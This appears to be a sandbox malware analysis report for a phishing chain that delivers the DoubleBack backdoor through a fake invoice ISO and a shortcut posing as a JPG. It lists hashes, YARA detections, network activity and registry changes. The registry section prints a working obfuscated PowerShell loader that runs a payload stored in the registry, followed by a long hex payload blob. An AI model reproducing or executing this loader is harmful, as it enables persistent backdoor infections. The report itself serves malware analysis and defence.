Overview
overview
10Static
static
Invoice-06-1022.iso
windows7_x64
3Invoice-06-1022.iso
windows10-2004_x64
31728.ps1
windows7_x64
11728.ps1
windows10-2004_x64
10Scan_282.jpg
windows7_x64
3Scan_282.jpg
windows10-2004_x64
3Scan_282.jpg.lnk
windows7_x64
3Scan_282.jpg.lnk
windows10-2004_x64
10x.txt
windows7_x64
1x.txt
windows10-2004_x64
1Resubmissions
02-06-2022 22:15
220602-16kn1abhf3 1002-06-2022 21:45
220602-1mh13abha3 702-06-2022 21:44
220602-1ln6pabgh8 802-06-2022 21:40
220602-1jcpwabgh5 1002-06-2022 21:27
220602-1ay7hsffap 10Analysis
-
max time kernel
91s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
02-06-2022 22:15
Static task
static1
Behavioral task
behavioral1
Sample
Invoice-06-1022.iso
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
Invoice-06-1022.iso
Resource
win10v2004-20220414-en
Behavioral task
behavioral3
Sample
1728.ps1
Resource
win7-20220414-en
Behavioral task
behavioral4
Sample
1728.ps1
Resource
win10v2004-20220414-en
Behavioral task
behavioral5
Sample
Scan_282.jpg
Resource
win7-20220414-en
Behavioral task
behavioral6
Sample
Scan_282.jpg
Resource
win10v2004-20220414-en
Behavioral task
behavioral7
Sample
Scan_282.jpg.lnk
Resource
win7-20220414-en
Behavioral task
behavioral8
Sample
Scan_282.jpg.lnk
Resource
win10v2004-20220414-en
Behavioral task
behavioral9
Sample
x.txt
Resource
win7-20220414-en
Behavioral task
behavioral10
Sample
x.txt
Resource
win10v2004-20220414-en
General
-
Target
Scan_282.jpg.lnk
-
Size
1KB
-
MD5
371924fdfffd4ca69857e94260c34a74
-
SHA1
2a1dc23c24010a8b5ef3b512ea3e3c6d2f52a44b
-
SHA256
801086851a46749a95efc050102fb85b761c0ccb191dfd29ff39c6b7cacb6292
-
SHA512
f9cbf21c27cf3473a2b73141dfd728d9d8824d20afc24f4b4b93ca5bf9536bd594c7a6d4100be2a2fc9c8e4b85b9dcf9797f61f60267128ea31cb44bfb43aba0
Malware Config
Signatures
-
DoubleBack
DoubleBack is a modular backdoor first seen in December 2020.
-
DoubleBack x64 Payload 4 IoCs
Processes:
resource yara_rule behavioral8/memory/404-138-0x00000143073D0000-0x00000143073DA000-memory.dmp family_doubleback_x64 behavioral8/memory/404-139-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral8/memory/5060-140-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral8/memory/5060-144-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 -
Blocklisted process makes network request 4 IoCs
Processes:
powershell.exemsiexec.exeflow pid process 9 404 powershell.exe 36 5060 msiexec.exe 37 5060 msiexec.exe 38 5060 msiexec.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies registry class 25 IoCs
Processes:
powershell.exemsiexec.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0D080310-0303-0800-0101-100B0A0C1211}\LocalServer\ = "cmd /c start /min powershell -c \"& {(-join('24696D6C773D2731323131273B285B546578742E456E636F64696E675D3A3A555446382E476574537472696E67282867702027686B6C6D3A5C736F6674776172655C636C61737365735C434C5349445C7B30443038303331302D303330332D303830302D303130312D3130304230413043313231317D5C50726F67494427292E24696D6C7729297C2628247073686F6D655B345D2B247073686F6D655B33345D2B27782729'-split'(..)'|?{$_}|%{[char][convert]::ToUInt32($_,16)}))|&($pshome[224-220]+$pshome[18+12+4]+'x')}\"" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\ msiexec.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0E041204-020A-0307-0209-130F050E0A12}\TreatAs powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0E041204-020A-0307-0209-130F050E0A12} powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0D080310-0303-0800-0101-100B0A0C1211} powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0D080310-0303-0800-0101-100B0A0C1211}\VersionIndependentProgID powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0D080310-0303-0800-0101-100B0A0C1211}\VersionIndependentProgID\ = "{030D080E-010C-0605-0D0F-13090F0B0C0C}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0D080310-0303-0800-0101-100B0A0C1211}\ProgID\ = "{030D080E-010C-0605-0D0F-13090F0B0C0C}" powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0D080310-0303-0800-0101-100B0A0C1211}\VersionIndependentProgID\1211 = 91451c0565d24c9ef22d9b609c3ee5ce6c1048846323ebe7b8303a4d9839a1544839c4e7656813a3f3361cbbd7388c1bb9723f8e95d4f648256d0e367e9f30c83dea6258cb1cfee9c76c1a7d00d927e9a17f227fc17428e0d78693d805b91b306a163661860a88a596afffa355812b8722a22335867a804ad322c24f556ceca0930b273c41dc164401f88ea75474a3709fe4e2c9e8108074eb2932de1a9711f0e53fcd4169daac7af88d3e102e2ab9052a661e03e06ba2fe9e076ead41a175987a06e498a999f9c21a7a0c0ce0593da25dc5b7b1c9d4241affa0b6518c5e1ebf7e176e6897805f81cf6d86bc4c65126a5cd5a1bee1bf0e8761493f9bc60b8116e9a25f1b423dc91801b4c74d2ea2c5a4cf80b5bed1a1d35e85a20badd08c74a55dd6df598b54a48d6bc9ab204207457f55bfbd9888095fcce54e719b5f020d7cc59b0326798bfffee1748c3427e88da7171262e2cce6040ad3c594a14b38c101aef38e3867fd64efb7673c541de71d5fe7bfae114260915dce6089b57da8aaa334428aa1bf94652462aeb715a0e49bc7ced08c8b04bba835fc0f1c25aa3405076a1e49187d521158b700ea6513f44b748332c17dfde9a9d77a35b1125b21f9cad7d26ffcd4e00aff7ff28e1d2b9faba2faf9e6daf74b0852e715fc05dd798db66c8d3848855689c7c1d0e0ffe3186d823ea73af8cb1663ccb5adf7f7afc96833c4fa0cc38dbbb221f18c901935feac0f8b5eca20f1ed30f15529de3bbd98d86947fe3e2446480d44e7123a96362be9b85557c1c4d6df32115b7ef70ceba7526f2ed047225b0695c359b326b0ed6e9a6c39da68f068180feccb94f42b9c0371598c593fff6c0959b98515c0bc2d40ea9bc1ecd438b4479b152d44b8a09a12896fa7400cc4336da05ad909c9ac8f2a6598737d62b5acda20c101d113830232b2228de798f32629ad3a877ef4c8732f17ee509f17917db03a1f0db951a609fc3f4d43611791be837ea274b7f29768cf2f7cae59db60a9b86c1ee14b80fbf50bbe33a068947f98f3b395ba4ac50f5414b5decaca1a02bd81b9dd1e1f357816d5aebe78eb2b8759f97cc72e14aeb429a919545b991fb4cd7c771a358d2ae8f58fb23fc3217741bca20422d675836e677d8a71639b920e1437b6df38b710bce0eca6f339b39943c31e2605e6ec2d432e58fb7b51772d3881ee71d6e392b4c9b4bf8b55250cb7eebb983643f16be6401676328ebdffa1cba6fb97679b92889a3a91b919ec123567ca3b27c498808c81f8c0b1b84153b254089e8470ee509a60fd224730510975700baccae04a5bb47471639fe41f34f04340ae624c7ec9bef181224f3c55bf613bfea28db69664de7066a54c7d0f2535a33d60e283e69f2f14a20af35eae2c92dcd2ac193ea8ad110a1458decd190318100e35d6d62639b562d44760b55f946edb717bbeb97db297064631c877697bc4a1612a248d994daf22bfb690742e5d3a6c5eeceb71eecd806e25ce6825f0349e6f0e0e5c3d7bab20a66104cc3ad20b12f58a00993316770f15d70b56eea71d8c129166c1f4234ebe4b80fcffe984d049f019356c333b4d2d626766408c137312e50adfbf2b53019e836ba592009467adf7047d62a20f60c4bec06c1fb7993797a558f4b2ad5076d832feb53a8d6c87175cc5ebb0185d0cc0a3b4311ab2b3ec65197d19c0da8680ea67ad51db426564f2ff578a4108211848fc9f9e5bd66f2085f4f79f9586020ca16bfeea101bab6b78847706fc38eff8fed0ab79614baaf358325beed011ff792bccfc14bd6d0cb0e37730ecafbf658b59ed412be75a2c17a65b05fe9985984c3ef2178c305428e4eb5c5d8f3e9b7c78f283f1435217ce88266e003840acb2f24d17aa1d91aea18df6094acc257a1b932f9877adbdfe1ee798fee14550cf42f28da927bf4216794cf03d8a4d864c8dced014467d0fb54ba1fdec598d2669300f77746fc6ffc6f7c359bb22f4471030210b3baa25acb414dec6e697478d41ce02caee94d754ea4021d44901e25f0e66784599eaaf724494b869e8ffb51feb509c4cbbe640ba6c18e975667dd96e8622693390a1916a51406c5c579409c0d0342e728219ecb5a4768698884c418aa46318eab8568340fb9985199dab9c73fef4e5f24734196bfaa60c846d1facb064471714ad51e7dfa882c1beb23263f2b6ffbf34e87edd445c0111a5b8d4f12b22a3554b40f9a63ebbad24161fecfb621d51baf68d851dc2f7207f175bc1f4b817660f3828a30066917de5e38f35a32cfe5da18cbc156026f4bf610f1099af9e4ab779d865490d8810f9991b51593e42f37e438ee8c995b19b5f31b4769a17e2d072a11e1c5d03d54a31f4285e4b10348529843c6b9d5b1e583d0f53e589a5446893d5a85e2f85efacd8e86de1cc0e953dd63a5d1c3b1aa0918478daadde30e9e04345c0996f2c7eda8decc8670b88c0324fc2976e3ed4f251cc7b2401d40994ac2f25b0f46b9ca9ef54176d163bf29f6369e2a2092f69c17a51a672ff2dd098d17da4f2244e172fe4425fa5a471e92f083c00af21092586fe36a748f53208080df10e1597db3d1174bb970ef13494f9f22eeecc321e553f2415e61b92736eb616d091779af395aeadc7ae2b067bfd84532c3dd71d7b0cbd249f177ad6b625f5c84aa99d5e8889c71a06a6bba7624c328b013c2e0bab2c415bf1b1bf514510d77804389439da603d863414ca1d88ed5c047360dc3cb6bfde3f2b0b724586dbc630346e06bbaa2c8d6eb805564674c4978ce02c4240f240db85e634693a7646d589f529934dd16954c506296dfa40eaa3f99c8b3aa4bff019c2c2dce24d8fb51416c1e56e40fc9f66e507f40dccf36184f321e4171303b451ee87bdbf894f37efc7dfd085d5c182622eefb96ad60be8e154d968045c9e6b5d5c2e4e01ccc49002987e5bbbc7575ccc9fd00a272e03cfe6e54af4b7e96501e766b2e5fedbe00b3ffc1a39f0d5e5fbc86a1ee58d5242edccbaf10823d8415aa9f0ddd82bfd3c477b496843cde6a53c67edf2c94617c318b49458995f9c5e45e27802d44e30b236456161fb8f6143890f8342aa4423e32ab564201be0530560483972a3d2252b2260d691389440409cacb1917e044f98332f09a57146b0e73e974e7b8212510402d8268cc73d8a6b74da3a35038036bda12c9a36a18b9d0473f39635ad4f7b709b3e1b25bc793fba3c78c870da4e857b1eb9e550679ab8115acdd2bbaa2bb1f6b47d937c9f502c189d091488f1160403f7f783193b378c4f1ebcdc8f0196601108e3caa3d0acd2710c2b4852fa11d6ea6419efa9b1376bac84928947d468fedc5df40f223c1db1e714424af52708ec4a5e13fd5765aebb0daecf68fe935b0556dd12433839525b2c279de666cd3eac09c63c291d0b133bf0b3ba30474789848fd1c39e1db60b333b14a75d2f0a434b7f4518b45d1851200905e0e4a47c93ca85c7d0f4532e010c63dbd8ec35cf3c91f889bb00d5b050a4988bb83b0eb48c39f080fad1df9caae15c8bd7055b89ea1400651720db5e2fc9c2a3074de5800d0638274c2c3d45840d5f06f8d6f501f212af1840196f279150cb24128782a5c5d7c91398fd31e46ba56d1dd50266580ebd581ea187cd1633be391a28cb5ed6e8724bced58e6e3827907905c30f416369a240875b9a319a670b032f0b8cf188c6e544c48dec2d529d1ca4dd66af30e7a55691deca54b8f6b8d1275a9774c106bf181bc0862cd41f4ac9007218e158afc29c362423f8f9587b349303a482d28b0cda25cbb5f2b75dd8dc5ca04da6209742b62b92794a6d19f68fac8784507a25c0f2cb2ce2c5bee9231301bc3a007747b53b277dd6468fb181bd45352535557495b81458c194c348d6941de6fceebc5af0e33f94935157c86e5bbeb443cfbee7e981afe54785e6d29b09e447369602dfc1928f34b9c687265b37c7762ad59d44200bc28f9a62c4e7bde49b77ef3e0c16e7b9c655caccb221a082920699dabc935094942cbd6e3fa96126657b3809a77fde4c04f624a69711ef6502439cd3037e829704729ae662f5b353f4d2a38260eb6f2a1cb0ff77495b432ccf995a3ce40f5c6891f291ffa4cdb6dffcc8fb3c3bc9b83f2c08f77b1e0baebc143286a8c7e33b4629371813e483253b935c17a8cd8c73c51baf453d5528e395f2dfb43e915e3fd3a150e11dd83d51251ffa053d172ce20f8c4cc0e2b1191feb942875e52203b6ba3aafef97a32bb260c72a21912459a5e4f43f535ec3b759d93deda41a2b4f5af6b77d2ed2d7efbb9067d19c30e9a06406a33a825630f4d8ec728b4f815a809985c785457e37d92e3ff598fd41889a51690925ce5ccbb03fcd33089252db52c68e28d94c05acdb149fba00cb5bedfeadc7436e5b7518e9d052748bc24fc5454834c3bf3ca1a62435926ec6ab58b7a14f6467c495001b878311d887814b976d7607ab7c55dcf29bc6dd65ef9e1bd11f4fae86efe95488493fea84fce180de984f794b17df0b30cc618e43cfb195c420b48e227efea860a4a7d8ee216fbf560d51cfef4c1bfd18e55f166b72d01cd159ab4f91359edefd829d87020e923dfec5299fc80a811f7aa0862de0384efbd1afcdd2e60410f5e6652fa22bdf8771cecf1071eee6d56b0deb60610c72db3c44f74937fdf53ae603ae0facf008f36bb43d46faf9654951fa17fffc0bd515d4b756b18a5297170254a9bc705873331e998a0ee49c295aae0f8d1c1ec48734a10ecd0f42cb1c0c9421fb65875a18ed586768936b5d544aca386ed92b1a8c6b5e510ba273597e6b859777919e9ad161b45fa15bae5cc2ade6e322a8f5450983d2a5c98b98352f0c98ff50b22d82632b75ad51daca5bf3da134db2c0442c3215885fcbb58bdd4f0d9a7f7468fe3da3035debb8092891e1fb3034f06bda6c445a37d2d86dc4911711bdfde514bada6e23e7d40873cf2183b87e5b5f1eeac9f30c91025a36e67d10b280033a5cdf29361a0c3c29ba5f1496e142ee647e18ac31077b09c5c7ef9ff1c6f56ad768acc87e7b92e98511a5632caa17dd3d29bf0295f586b4c68851d0bedd269b69443faedcc4edbb74e2ca2cec682bfd4d1cc4ba5653bd39ca7f3581193d464461062bbfa02ad5552eaa79a68c1eeaa655d06a440a74fbcae62046ae2e63dc498c98d4d1dec9efae038935d5ad1492dbd74ff34a7fd5728cb888ce705bd5778c538f0a65875bb317c5d07d798ec524299cee0f9899779c3c21aff8fa30dd8d2c35884ae4278ea6ded002bbce3a224ff6ec4a8606c37e868a4884afedff18d835d3853dbb475d1e44f2ac20e09437e973be246dc9440f59b41daf4cfb1d2c6f37cfc8b0c1b53cd4511778681d2353a372c228c0b84441897bb04d3f7492e99026dfaccb7fdccaded47fc1dbd7940edbc1046111ca2376e485cc734e052dbb9a75aa862402101a8c8df8ee9e4e905b725249ed2502c7d8b211e0154675fbb617bc0987917b4355dca044a73f738f275ca9ae38749d8caa741e178f49c4f5fb3fbadbc6e5923fd49ec353c53077f967548807b7465597f8d89f35635086a5a281903f93e2ad33c932da9510aea6fb3508c3b84f68dd32d414914c1957426d13256a9fc52544d6eb36a3ce0f6a1d78a487abcf6a6b197ff91d4c75574a71f1158fec417ef26b179be8130d10ce371b052f4392c2629e1875fa711be3ddb6eb4c95107b7569287a3b05e6a870671c874e350e2cb39512c2cb300b913d97dc7331bf61dbedd9072d751b87de06bb7d78ef1874f855b4de10ed9ef00fc7bd419dba73af1006567265d4b0c67e7d0c9c275063c589149f67ca6a64e9f1ceffc77873c7992ab03b0beba671dca601cc8e4d15437e28cf0686eeac953e2723893ce88f931c9834291ecfcf38440f15ad7bf92aab22d066133b6b5aee8d4d5529d7dc7085e85ec7e5a52deed1289b30d7eab886bc893066e9dafec22ac084e17873a04b965da4a9357a33eea2ab5932b69547bc61f8d270a2ae617e105f76e97bcdf409cffc7d1ac574c381440deb726f4356f27fad2a52e2e038c64323d3d4512cb9d2abcfb1ffdae13aecaf68117db622d178a5e53f33343e4e36a3882094e2d9a268cca0a4645aba69e0e4cc1b832d5684293eb694fc169b584d93a5bf6369803bd39afca3f1e1b427124a23f993d74e6d4f8c79d16298ba7dee814e292eb6b758dc9097f364b7a6d967144754ada37f4fc784f8b6c3e3f3fd9b2e330580c16152788738082420ce1ec0920a77876e83a771be155ec6a1c0ceed12d4193f18477a04f04da6c988998eb450bdda922cc7b3cbb48001c4dd167f36af06f43f228e04d9dfd6cad4d1e5a89097a6233f89ef7ff3e1d407107c5e07c61738071dfa5314110111e38cb04e154bf6dfed0323ac4f697302083036f26f785af9c6210f8f35bc84f1e68038b1f9445741c6ec1980d10ccbb449f49c5a548fe6580c47d97342b6a0732dcf74e43e7e620942005f76f71d78b90d3bb71a987288d9f0b5c050560607e9fb9dc4b1f3c0e62b58fd67f141b2bc4f045ffccab187d3337337fc80ce80c539e71a4ae3d4dcd2a0de1a206f48e90fe015e6b50fd2eedf50997e587e641c7c214f53f72538183a6671a3046373e55f33b7e08d7d6a0846e00fc1dc244687e6eb1a7faf4779f20e761e5c1db505e6eb8714471fb96f4c01ab0ae37acbd453fc1ffa765a9e27aef12316d5ad96d1a308197c8e93f33716bf94037b5c2b06c42bb889430cfe256d1b82086f5d3f63e81c2ee0adfdcc4dacdfdeee90fd512ed1ce3064878f0674baab9758670105addef816682aa5923b3b2cde0e6aa55d4452b976e2736f1c89e549bffdcc087fcf4e933ff9228dada79b3a67fd9603a25bd1b8d9d9c49f774e0039ae7e514611b6b4febac87001c22eb111050bb3b437d84f50233faabbbbf3396f21a93832be765ba800696d1755cb11c76c379cbb19332f5e88e1e412377464473a325daa0ef805a6cf7e2885cec76053e71f5e4783466bef3e921b85c0ed0acc287e1160158223a67072b47b760b69b816b00b49af329c992b1af78919ad4bc6ff22187375f855de5cb1749f9096fa705ff8d1676572848b4dbee4c2577f38439af991b6dfecb904b5fd57fbcc80f2f261e2c9f691103b14ee6d740012ce378f849f566a223d6046fea89914b79c7ede89c67c0ca26ffbb05daf5c10c1396487bdade8f8fda5fa5aeae9308f7731ff531609230d1ec013ceef81f9e962f1f246dafc214dca1d058f1e5270a9ca7b156431fc9a63e989936746ae78402af0a7f08108f3f39176273d975aeb67ec2dda2f0ee7e73b2af36e7c955db68b71450328639c1863e08d8929c2b3db0c9e9a932b582e1572d83165efc6bbcf448d26532162671558f0402a69e2a8f7699f6e62ef3c4a24d601db741275355bc8a96a2907945ae0ecb028a8295b2932dc15caf7ee51c151cfa4cf7f8fd6879f48244e9dc499405cefd65e8e54524f27325a28935adcf160234a54bff72b7814f3b3e471c3740606e62310cd5cca95dd1ea8e44307662f8e65c8ddd39f7a01262f08512df6810633c9d0acdfea2f9656e78929b0ca9d8673a755ac58ebf9b3c6ab28b0f7f541db450f2e9985db56fe6a132841734b9ba1da3e4d69d974a955046752c2bd330fb779e2ceb39b22152f10ed4df4be2b2b7b2881ceacb7cd4cfc0279745fc4d9027caf1ac83f8b400c3efb5ef2d30d9b069c67d7f125a376ce80701a00235447f9899c013e819240e869e85d15eefd7c5ea07cc67e13618ced3bfe131d9f2a0659babedb032c78b2c102a514225aaf31b0591935550348e3e1ef963f100d2a4a69e41b5bea8eb8ae3e39af05b63aaffccebe0a7cfcc61780b5c5e42ce4eea4dce4ea7ff1f18fd8b83f76c1eca86a6c1946137fd88cc03d7605cc4f3dd1b6ead83a4b15de2b0c1e0f82a7a7ab40b22ae236d520578769c78c93b09f665489380f04c2d74b94e7122bd6fe7bb37bd75e53dc9ed7ae5b8b85e72c8cfd872235b9c1da8f502cc1f51e5b03c29250bdd509a6bb47130ae8990365e50390468d7eda89dcd1ff7c1ae02348dba1b42ce8ea457fadd3543480a86b4cbae412f34c11e3ad461879e3798cdbcbc83f977efebd51572a3ef3275d750d151d8c04100ed7ba1076d63be90d90575436a4d7d540ab1b819d61df8b66e382ec7c2c411d2c0794afffba042d78e0932fb9dce6285df21597ca7290736c7c3fc4ad2e988f7fa975501ff5b803eec00e91c26585be15dd8e5c282bc32be38dc4ad07ba3add3873d26b9d0489ae621221d66805c4913d56e53693e8f26d0eb9677aa6917fe99f34171430e16a188f8a2b012728d69652ab5307a96ac6296c4b121b9fb032d9d2a23ccc0ecdf567574aae0e88b24abb19a474f58a378e5684c4a73eab6324e9011386a8c8772da967d6b42d5a4880ed31b3da98d8ad24122a3ce5e062b1e4d81e3894ec071b675b7d9b35dbdddd3b19908f81c6a5d10ba1389e153a59ebac5a68d22290f5c867b640a59ce944740017c1b7b83dba28e45e409b1737518cf87010d89bd6e275b085b62f09bd234381f1464ac925cba24ce9b7fb37fb1431062cbe650a1e4307f24cb728093e6a06e9cefa0dabd138064b1767a36d521a26b296c2ec611096f09fd33d851c7c7bf2ce556c971d5030c1895bc71c69e1c08653b4f4fd94ae7fe848abcb51d443921dd1123f9966e85046e751b8b8d2321ca48744b45969dde7dc18adc8d53422c0125e2febdcbce657fc0e2ceada7fb73e29feb9a4d7b88c075d724d6328fe2ad4c2d0373a8f18cfb54fc2b8d29209ae909b04466f37cfb55c41abdafd0a422ddf09ccd3b0d5f0791fd0ce9b0205449b54f4ac8b3ae94ec4949844fbccdc5fbc9874ebbc69145081296c51a622b130c9b4b94dda9b4689ea221ada50449ea6a55fc4376dea54e7c95e921ab32b08f8291760c126fb1a751592ff1cc83a8196fedd419c57e1c8c4a6be191963d70c0aaa060e2d51b7dd7f12dbb040be9b5f1ffb5160311dc015fa90815a01b6fc6b625768cca6ce620c0340cf752b92df7fe4ef281cf6850e5b76b43cb4f198a781a3d34012899cb958e8e1ec94c9bfc24432f145c84df7c30f4770d80e2de07d33d88b0abddd063a4555635cb9cae9672308704d84cd606de9ad636b8365df5dd2dd932beddd5806b9f0fa90543b0203d5c9d9c080f82b479bb34c70988ba5718fec5aec13ffe8d5d2804b3affc31ea7a4d98e8a49973c7738e270638162f6e2b67a1c8233f722cb5265a43730dd8f62036ec569c882d62d2838662bd92964900afdcd5a1501842141e9363b21b722664a9be2f2756a40c3524fe4aa972fbd0529e42192ebac631736af044571166eff09b003e0dbcd0315488238b86a01248e20069406e95aafbbd06bf08ed730e319597b80e5b5cf0ab22b61f23ab587de9a00af409f1021d81ee87084abe6d5249ec53216e02889db927c9724a7e7cfcbb4ad265deca9a4c694fb612cdbda56ef6bc8c995d852fd91f250d3826692670dc214da64b4cdc7a682af1b02c9e032a94eac0c46442a1f0158bfce039940a7bafc6c360a76d13b4042a025a3790c349692775fdc652c1d461c90e0ea90f25e3f99651b3de35d41a555f5f8d7621a9a757fb21014281f62f467470606361c5825f180542d98074ab664364b1fa2753e5b87cc9a693222e3ccdd18d3c2cfe7e627aae4baab61b3fe046f3cf620cc7dc1b6e734c652f14d0938e180900e151e6c2b4eddc7ac2797132e96fae7000eecc9cab597120dce819552d5951af5d70ae4953e7b82d44167e2d65fa441c98c9b7c865b6f9611209ea63a401bed676baaaf6363b78bcfeaff2306bed0a4ae4e7082c24d7b958b8b5bb75f2ba23a41a811a6cf6dea500cc8d8f340473419dee7e922783dcb068d8f268e9d37ae11ccca60c0d28740fe141c40d3122299db657ae35152450a8393fd3a75e9e664576c0ea94414103b473bdd456ec6c6b2e8dc7ec7158c09fa991b2c591e8fe0ab25b766f1ea1a689f98e38ad832118ea669030962acfe0cf21ca4ec5cafecbaf9d12b8e220fde4ece168c46c376a1a0c976177ddcac40b92ad88fd32fe031a7a34232d57d99d702bec02b170c5d879f7862e6b1a48ee0b909db259632ea59d5d9bda4e759d5e7b1ad6b505de090fbc34b30bffcdd35762d68b3ec10e99328743ba125e8b83ddcd3d3ae7a3ee338c6947c7612ef247a956e7826faef9038292a3b811febb8caa26e2e193fa78325a733154cfc78ac87db45b04bb3ac8153a017b18852430f73c61861cb72f4d15e788dd5745be3dbe2cb020889c25e3b93f5469937f64938807a18eac48b7d039ba72705fbea01a0dc6d0ae17312b105226199143d6411addc57babb53676957c64baa92059805fdeb5e784018abb4be451474bc066a2c4a8183aeb4237becfbb85d5fbae87ce346a2df188bc6a426f3df6276aaa9c53724c338ed5427b9d3a16154a36c3990a2dc4be05b8829324f332abc1be9e1c1031afb163139460822b2c0f9adb5045fbe2203dcf1e62c900550d422a430ae055b40ce61b5e357a37c8623ce5edaf4a040001745e46ea2b4ddc98aa0fa650dcb4f32c7f2d0400583c8a05b15317c5001ddf205298e323202a7f04bb8144f1043ec480d658ec45155a92f3c5ea19a453d138aff845ed7aeb85e9fce3757fbb49fed145ae541059e49efa865bfe401d6799c2d0bd8f7b57dddfc4b179de5614f9a9fed6c90c1a24725ff9cfe016d48f22a1d1367bf3e6d8997e739083d01a3a5af9964d4b52bab74de2a8dfd0f5345ccf2a87087d96bccce8a40a48b3e8f52a3b36a4663252a0480acdd0d09da580b6dbb68ee20f504a49245ab82bdb53067db57da4ede2eda889abbb73e86b10dcc1c0e1edc043d6f3225dc3dcb70ad2dfcfb9fd394fa14d4053f8643833782be7f19ab6fef0951d233062633ee5e04c9ee76cffde5ae60ecf88235b5a480bea547ea6211c2646dddd416b3397927346043ae3e8354cb22912848c664fdca67b84fdc74e5ba893155053e7b21799a8e48684ebb51f9def0cf118cef777c746f1863824d4a17fe719dd0db21a1c635921f8e00ae35223708f7020e3bf3b681f294cad7101498a67806f15c8848f31657af2e3be64602894f1a23290dd8722fbd2f538884661dca3f1dc2d7bbcf4efc45bb687a37565cde3bb90c37f2ec5695f897134c217b9df0ec9f737da4a07b9177c44c2eb1006b934822cbd6264a8e26eadb1f85c890be4b791fbcbcac5f9c7b8d43337a6675450836c0b1b7e0b2781fbc152ccc09bef08f2236a205a9f4e461072932231223a80e2445cb80b25e00cc6c82235a789c9808369150de4d06bb2e13b79d457c30423d19015fd9fbfed03af473c71314ded7812e6fe7b031eae8ebe97e8158bac1056ad223ab1b4990053d5e58ea7690c8618663d5b0fe988ca33d7bddb522b4b71f37c8ac40ac27d8e706817ee4df5be64480fde12f15570cbcf9b52533a7d860b1ccf15abae08739798e9e1c08474284c0e0320c2bf68f8154f52da031d31f5bbf5b21902cf5a0fdc013519004807e5dfab5704b52f3af1378fc7b9e51c2085806a79dd0ea7678e465a55b444c10c225b20b72977539ecb90da2a7a82bbfff2e8ba99874d26cf4eaa961ed674fe08a7eaf05db1dfeafa72eceb29723b9af0b6d6e46dbaa5c6454dc6001dad4045226763cc66362072d956dfcce51e4de453b38d805d49a7c4e9f7125c3bcb1ab65cc9e2cdbd0719dd585c61a9e3cdf8d9ae07c4bb2db6f219ae04828c80d476fc86c692dbea5951ebcadf2a254c8930f6d618540f4012cc724125ae7cb7a5c9ece41b82f2e2f50b0af2d2509e1190638790f6848daf336b543506db69c5388931de123e13c11eaec68632d0f7bc6f2f5d69f50003f2abc884ef04b6f352c8aaea8cf6c14edbd9af8788ea16cd15e840f38d9342105a353774125bafe68a308b99e51cba0cf41dc94596a3547c709cdfacd1632318c7b5f8a441b07f78c105e357a0b89de3e829af9495f084fc66ce387bd1aeb3b6f4fa36ac4ac73b91d25f81fb458a24c2641a2286e9f3dde194554ac08bbd395943839b8f6589f90b0cd0610fc7e79533ae015828899e0ead8e884e43cfa4133db76214bc06c275f7e1f8afa3b8497060e378a21b1d3a47554d9092e8c416b75a16fd507a44dc2e9526e24cc929d143b40c4487a200095221522e76599b356e1551364c4aac49a0e4e5335008273609218b048d4b591407027e37995202085655d2344ae0591c62022fdaa68dc29de2c09aecfb1b89b3319863ea1691272292de9ec1a32b02d6640b310034726114fa00a7cb2ee65653c97d306b9795965b99a22edb972e065a008f26459b852e9c4113bcd7e5a9f0eddb0def58b8a273bdb9988a5d4d92258b94acb57554afebbe8597f47a20aa7516af61fd42e6cb85334e1297e4f1283623d4f89b48da8ec6f124f1ff79bec7d713c4862221c110f231640187c7ac13f0776ff4b65e39d98091f6d31e2c1dd5c0400cfc74a286dac64fe40293c53e3c70b630e7770d0bace3029ed09fbea37bc27630551b4606d4276ae2da8b192d6166206bc950c395c0799072a45576f138cca20e3a77c28d99086e3b365544353473a027d405775605a3f76866925389bdc6af8c43468434560c8f8c51c837fa0f86e381c1511968f3869127184be669cb117eba275d02d778a9c03f9ba65b6700f35af333c6e97efba97e964c96ffaad954d35002e1f535ce9861822d352594f2f6fc364ef9060746768b0ac83f298ceaa81017c3101439d0aebf7535eae6e4348f62b8d9aa62342a7e4fc1685410732d1198eb17b1a233f183ccd5b57dafe341899b1ff1233080bad1066ac2e1c792d1f00881685e41eb0ae34c69c48afe802017deee5e5b42e74da1319a7bb9f8b73edfc3f6178f020060b8f4818e82a1c4717b3c1afda29487b3d34efb0e4c2b682d427610326636bf53cf70c36039193c1ae57a032001490044dbc57615e3af2d4fdd290cc52bb9dd4f18127097350a28886609b72e564a6c5eb450fecd29a98fbb489f00f10c37c0bc5ad45eca1c11c546897f13bb505225dc4dc9e6c8687c6e3659ca77e8b89fe857a8d97ed4b40d36105223b98c652dfde9f09625d6cd483696bccf25d9cd45bfb17ae23d6f7805ffde76f92a06aa15d43b22536eb1af6b3798069c9f34a173468337cce365e48d5c8d20938bd7bdc76b88daea24ade0c5b93f19f60ce99410de03b37f11b309a55299e59783d8143baafcadce18f4c8cbdeac989e971fd5d5fe5223759a1d841a910bdb3730e1aee84e10c39a4e0385c181f0b295baec3d7a3927ce07f702f7c7de8f53c45382d58995811611ce986880971bb4740f9273fff9daacfd32ec95eedeede6a725f6c7146a88ab5740dbce7aaa7d94ff1563718867365bae73cfa55e0af4f20ea44b83e3a43c7b0d9e962d58bce9ed61f63110bbe677d71384410a415a5399f484734a9155dfbcbd392c3fc566c11fece2efbf0d3d8d2babe96cbfef41865605f56134